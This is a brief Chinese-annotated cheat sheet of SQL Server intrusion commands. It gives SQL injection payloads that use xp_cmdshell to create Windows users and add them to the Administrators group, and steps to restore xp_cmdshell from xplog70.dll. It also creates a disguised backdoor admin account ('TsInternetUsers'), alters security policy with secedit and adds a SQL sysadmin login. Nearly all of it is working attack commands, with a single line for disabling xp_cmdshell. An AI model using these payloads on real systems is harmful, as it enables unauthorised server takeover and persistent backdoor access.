exec master..xp_cmdshell "net user name password /add"--  
;exec master..xp_cmdshell "net localgroup administrators name /add"--  

程序代码开启cmdshell的SQL语句  

EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’  

判断存储扩展是否存在  
select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’  
返回结果为1就OK  

恢复xp_cmdshell  
Exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’  
返回结果为1就OK  

否则上传xplog7.0.dll  
Exec master.dbo.addextendedproc ’xp_cmdshell’,’C:/WinNt/System32/xplog70.dll’  

堵上cmdshell的SQL语句  
sp_dropextendedproc "xp_cmdshell"  


DOS:  
dir c:/  
dir d:/  
dir e:/  

net user TsInternetUsers Password /add  
net localGroup Administrators TsInternetUsers /add  

备份恢复IPSEC  

secedit /export /CFG c:/tmp.inf  
echo sedenynetworklogonright =>>c:/tmp.inf  
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf  

SQL:  
exec master..sp_addlogin UserName,Password  
exec master..sp_addsrvrolemember UserName,sysadmin